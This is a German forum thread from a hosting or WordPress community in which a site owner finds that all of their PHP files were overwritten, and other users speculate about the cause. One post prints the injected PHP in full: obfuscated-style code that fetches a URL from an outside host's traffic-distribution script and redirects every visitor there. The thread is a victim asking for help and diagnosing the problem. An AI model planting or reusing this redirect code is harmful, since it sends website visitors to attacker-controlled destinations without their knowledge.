php-Dateien wurden geändert, alle 1.1 KB groß

  • Hallo zusammen!

    Gestern hatte ich noch ein paar Bilder auf meine Seite hochgeladen. Heute Vormittag war sie dann nicht mehr zu erreichen. Jetzt habe ich mal über FTP geschaut und siehe da, alle php-Dateien sind nur noch 1,1 KB groß. Siehe Bild.

    Hat jemand eine Idee was da geschehen sein könnte? Und viel wichtiger, wie kann ich so was in Zukunft verhindern?

    Mein letztes backup ist natürlich schon vier Monate alt. Grummel!:-(

    http://kringnetz.de


    Gruss
    aao_scout

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • Also Vermutungen kann man nun viele äussern jedoch wirklich etwas raten kann man so eigentlich Nichts. Ich tippe auf Ausserirdische. Spass beiseite: Installiert haben Sie es offenbar am 28.01.13 21:03 laut dieser Dateien die noch immer auf Ihrem System rungeistern liesmich.txt, liesmich.html, readme.html (gehört normalerwesie gelöscht, da sicherheitsrelevant). Ihre .htaccess sieht merkwürdig mit 402 Byte aus und auch dessen Erstelldatum 13.07.12 00:00 sieht supekt aus (lässt sich übrigens in Linux wunderbar manipulieren).

    Mutmaßung die Erste: Sie könnten lokal einen Virus haben, der hochzuladende .php Dateien infiziert.

    Mutmaßung die Zweite: Sie könnten Daten per CSV Datei integriert haben bei der die Datenfeldberechnung einen Fehler hatte und nun die Dateigröße verändert hat.

    Mutmaßung die Dritte: Eines Ihrer Plugins zickt rum.

    Mutmaßung die Vierte: Böse Hacker oder scriptkiddies üben an Ihnen Vergeltung für das unbezahlte 12 monatige Praktikum, das Sie bei Ihnen vollrichten durften - freiwillig versteht sich. :lol - War nur Spass.

    Mutmaßung die Fünfte: Ihr Provider möchte Sie ärgern.

    Mutmaßung die Sechste: Die Agentur, die Ihnen dieses Theme verkauft hat, hat ein Feature eingebaut dessen Reperatur nur 2.500 Euro kosten soll. Ein Schnäppchen also.

    Software ist wie Sex - Sex ist auch schöner, wenn es nichts kostet.

    Einmal editiert, zuletzt von FrageSelten (9. Mai 2013 um 05:20)

  • Mutmaßung die Siebte: FragSelten hat mal wieder keine Ahnung und labert nur rum. :-)

    Meine Frage wäre noch, was denn in den PHP-Dateien drinsteht.
    Am ehesten würde ich mich, von Motiv mal abgesehen, der vierten Mutmaßung von FragSelten anschließen wollen.

    Was allerdings an der .htaccess-Datei merkwürdig sein soll, kann ich nicht nachvollziehen.

    Wie auch immer, es sind noch ein paar mehr Informationen erforderlich, um etwas Konkretes sagen zu können.
    Inhalt der PHP-Dateien, eventuelle Einträge im Server-Log zum betreffenden Zeitraum.

    Gruß
    Ingo

    Wenn ich helfen konnte, bitte [ Gefällt mir ] klicken. :-)

  • Inhalt der php-Dateien:

    PHP
    <?php
    ini_set('display_errors',0);if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir(){if(!empty($_ENV['TMP'])){return realpath($_ENV['TMP']);}if(!empty($_ENV['TMPDIR'])){return realpath($_ENV['TMPDIR']);}if(!empty($_ENV['TEMP'])){return realpath($_ENV['TEMP']);}$tempfile=tempnam(__FILE__,'');if(file_exists($tempfile)){unlink($tempfile);return realpath(dirname($tempfile));}return null;}}$geturl='http://src1.de/tds.php';$timeout=180;$default_url='http://www.google.com/robots.txt';if(!$geturl)exit();$base=ini_get('upload_tmp_dir');if($base==null)$base=sys_get_temp_dir();$tmp_settings=$base."/settings.json";$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0,'url'=>$default_url);if($settings['last']<time()-$timeout){if($settings['url']=file_get_contents($geturl)){$settings['last']=time();$fp=fopen($tmp_settings,'w');flock($fp,LOCK_EX);fputs($fp,serialize($settings));flock($fp,LOCK_UN);fclose($fp);}}$url=$settings['url']?$settings['url']:file_get_contents($geturl);if(substr($url,0,4)!='http')$url="http://".$url."/";header("Location: $url");exit();?>

    Die meisten php-Dateien haben diesen Inhalt. :-(

    Server-Log finde ich wo?


    Danke soweit schon mal.

    Gruss
    aao_scout

  • Mutmaßung die Siebte: FragSelten hat mal wieder keine Ahnung und labert nur rum.

    Guten Tag Herr Henze, es wäre in Ihrem Interesse wenn so solche Aussagen in Zukunft lassen würden. Einen schönen Tag noch Ingo :wink:

    Software ist wie Sex - Sex ist auch schöner, wenn es nichts kostet.

  • aao_scout: Wo Sie Ihre Log-Dateien finden ist abhänging bei welchem Provider sie sind. Normalerweise irgendwo in Ihren Provider Backend oder in Ihrem Rootverzeichnis der Domain.

    Offenbar konnten Sie die Probleme wieder beheben da ihre Seite http://kringnetz.de/ wieder erreichbar ist und die Inhalte wieder verfügbar sind.

    Wenn Sie uns nun noch mitteilen würden woran es lag bzw. wie Sie das Problem letztendlich in den Griff bekommen haben hilft es eventuell anderen mit ähnlichen Problemen.

    Software ist wie Sex - Sex ist auch schöner, wenn es nichts kostet.

  • Ich habe mein Backup aller Daten hochgeladen. Da die Datenbank nicht betrofen war, blieben die Inhalte erhalten.

    Woher die Probleme gekommen sind kann ich nicht sagen. Andere WP-Seiten, die auf dem selben Server gehostet werden, haben die gleichen Probleme gehabt. Ich muss mich noch mit dem Hoster in Verbindung setzen und fragen, ob es da Auffälligkeiten gab. Die Ursache ist also leider noch ungeklärt.

    Die Log-Datei muss ich uch noch suchen gehen.


    Gruss
    aao_scout

  • Also besteht die Möglichkeit , da nicht nur deine Website auf diesem Server davon betroffen war sondern auch noch andere Kunden deines Hosters, das du kein Verschulden an der Situation hattest?

    Software ist wie Sex - Sex ist auch schöner, wenn es nichts kostet.

  • Guten Tag Herr Henze, es wäre in Ihrem Interesse wenn so solche Aussagen in Zukunft lassen würden. Einen schönen Tag noch Ingo :wink:

    In meinem Interesse? Inwiefern?

    Aber gut, ich werde versuchen, mich in Zukunft zurückzuhalten, obwohl ich nicht versprechen kann, daß es mir immer gelingen wird. Das hängt natürlich auch immer von der Sinnhaftigkeit Deiner Beiträgen ab. :-)

    Gruß
    Ingo

    Wenn ich helfen konnte, bitte [ Gefällt mir ] klicken. :-)

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!